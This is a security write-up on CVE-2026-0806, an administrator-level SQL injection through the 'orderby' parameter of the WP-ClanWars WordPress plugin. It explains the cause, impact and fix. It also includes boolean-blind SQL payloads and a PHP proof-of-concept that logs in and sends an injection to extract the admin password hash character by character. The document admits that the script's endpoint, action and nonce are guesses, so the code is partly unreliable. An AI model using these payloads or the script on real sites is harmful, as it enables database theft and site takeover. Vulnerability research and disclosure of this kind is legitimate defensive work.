Atomic Edge analysis of CVE-2026-0806 (metadata-based):
This vulnerability is an authenticated SQL injection in the WP-ClanWars WordPress plugin, affecting all versions up to and including 2.0.1. The flaw exists within the ‘orderby’ parameter, allowing attackers with administrator-level access to execute arbitrary SQL commands. The CVSS score of 4.9 reflects a high confidentiality impact limited by the high privilege requirement.
Atomic Edge research infers the root cause is improper neutralization of the ‘orderby’ parameter before its inclusion in an SQL query. The description cites insufficient escaping and lack of query preparation. Without a code diff, this analysis confirms the CWE classification of SQL injection but infers the vulnerable code likely uses user input directly in an ORDER BY clause without using `$wpdb->prepare()` or proper escaping functions like `esc_sql()`.
Exploitation requires an authenticated administrator to send a crafted request containing a malicious SQL payload in the ‘orderby’ parameter. The attack vector is likely a WordPress AJAX handler or an admin page POST request. A payload could be `(CASE WHEN (SELECT 1 FROM wp_users WHERE ID=1)=1 THEN id ELSE title END)` to perform boolean-based data extraction. The specific endpoint is inferred to be `/wp-admin/admin-ajax.php` with an action parameter related to the plugin, such as `wp_clanwars_some_action`.
Remediation requires proper use of prepared statements via the WordPress `$wpdb` class. The developer should replace direct variable interpolation in SQL queries with `$wpdb->prepare()`. For ORDER BY clauses, which cannot be parameterized, the plugin must validate the input against a strict allowlist of known safe column names. Input sanitization functions like `sanitize_sql_orderby()` are also appropriate.
Successful exploitation allows complete compromise of the WordPress database. An attacker can extract sensitive information including password hashes from the `wp_users` table, authentication cookies from `wp_usermeta`, and any other plugin-specific data. This can lead to full site takeover through password hash cracking or session hijacking. Data exfiltration occurs without affecting integrity or availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0806 - WP-ClanWars <= 2.0.1 - Authenticated (Administrator+) SQL Injection via 'orderby' Parameter
<?php
/**
* Proof-of-Concept for CVE-2026-0806.
* Assumptions based on metadata:
* 1. The vulnerability is in an AJAX or admin POST handler.
* 2. The vulnerable parameter is named 'orderby'.
* 3. The endpoint requires administrator authentication.
* 4. The plugin slug suggests the AJAX action prefix 'wp_clanwars_'.
*/
$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';
// Payload for boolean-based blind SQL injection to extract the first character of the admin user's password hash.
// This uses a CASE statement in the ORDER BY clause to infer data based on sort order.
$sql_payload = "(CASE WHEN (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE user_login='admin') > 80 THEN id ELSE title END)";
// The specific AJAX action is unknown. Common patterns include 'wp_clanwars_get_matches' or 'wp_clanwars_list'.
// This PoC uses a placeholder action. A real exploit would require enumerating the correct hook.
$post_fields = [
'action' => 'wp_clanwars_list', // INFERRED action name
'orderby' => $sql_payload, // The injection point
// Other required parameters for the request to be valid are unknown.
'nonce' => 'placeholder_nonce' // Nonce may be required but is not a barrier for admins.
];
// Initialize cURL session for authentication (WordPress uses cookies).
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, authenticate to WordPress via wp-login.php to obtain session cookies.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// Check if login succeeded by looking for a dashboard redirect or absence of login form.
if (strpos($response, 'dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Now send the malicious AJAX request with the SQLi payload.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Analyze response for differences indicating successful injection.
// A boolean-based blind injection would require comparing responses for different payload conditions.
echo "Sent payload: {$sql_payload}n";
echo "Response length: " . strlen($ajax_response) . "n";
// Further exploitation would require automated response comparison to extract data bit by bit.
?>
